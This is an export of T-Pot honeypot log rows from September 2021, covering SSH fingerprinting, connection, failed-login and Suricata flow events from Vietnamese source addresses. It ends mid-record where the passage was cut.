25320	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:49.357195+03	2021-09-20 14:15:09.967501+03	{"_id": "wwblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60376, "timestamp": "2021-09-20T11:09:49.357195", "@timestamp": "2021-09-20T11:09:49.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25321	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:49.94323+03	2021-09-20 14:15:09.969528+03	{"_id": "wQblAnwBvYTbRNuE2RnX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36676, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.943230", "@timestamp": "2021-09-20T11:09:49.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25322	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:49.662055+03	2021-09-20 14:15:09.9705+03	{"_id": "xgblAnwBvYTbRNuE2hlt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36676 (192.168.176.2:22) [session: c1c7ec8ff97e]", "session": "c1c7ec8ff97e", "@version": "1", "protocol": "ssh", "src_port": 36676, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.662055Z", "@timestamp": "2021-09-20T11:09:49.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25323	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.190297+03	2021-09-20 14:15:09.971498+03	{"_id": "xwblAnwBvYTbRNuE2hlt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:54286 (192.168.176.2:22) [session: 23387219f17e]", "session": "23387219f17e", "@version": "1", "protocol": "ssh", "src_port": 54286, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.190297Z", "@timestamp": "2021-09-20T11:09:50.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25324	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.454079+03	2021-09-20 14:15:09.973499+03	{"_id": "zwblAnwBvYTbRNuE2hlu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44672 (192.168.176.2:22) [session: 18292ae7252b]", "session": "18292ae7252b", "@version": "1", "protocol": "ssh", "src_port": 44672, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.454079Z", "@timestamp": "2021-09-20T11:09:50.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25325	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:49.496933+03	2021-09-20 14:15:09.974501+03	{"_id": "zQblAnwBvYTbRNuE2hlt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [lily/lily] failed", "session": "636d77f75103", "@version": "1", "password": "lily", "username": "lily", "timestamp": "2021-09-20T11:09:49.496933Z", "@timestamp": "2021-09-20T11:09:49.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25326	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:49.861002+03	2021-09-20 14:15:09.9755+03	{"_id": "zgblAnwBvYTbRNuE2hlt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a5c432a782e1", "@version": "1", "duration": 2.5699825286865234, "timestamp": "2021-09-20T11:09:49.861002Z", "@timestamp": "2021-09-20T11:09:49.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25327	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:50.463863+03	2021-09-20 14:15:09.977501+03	{"_id": "3wblAnwBvYTbRNuE3Bmt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 445486557166546, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54286, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.463863Z", "@timestamp": "2021-09-20T11:09:50.463Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25328	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:50.481498+03	2021-09-20 14:15:09.978472+03	{"_id": "4wblAnwBvYTbRNuE3Rm-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54286, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.481498", "@timestamp": "2021-09-20T11:09:50.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25329	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:51.386111+03	2021-09-20 14:15:09.9805+03	{"_id": "AAblAnwBvYTbRNuE4BqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1381913981779374, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49832, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.386111Z", "@timestamp": "2021-09-20T11:09:51.386Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25330	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:51.386437+03	2021-09-20 14:15:09.9815+03	{"_id": "BAblAnwBvYTbRNuE4Rqp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49832, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.386437", "@timestamp": "2021-09-20T11:09:51.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25331	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:53.018588+03	2021-09-20 14:15:09.9845+03	{"_id": "GgblAnwBvYTbRNuE5RqP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 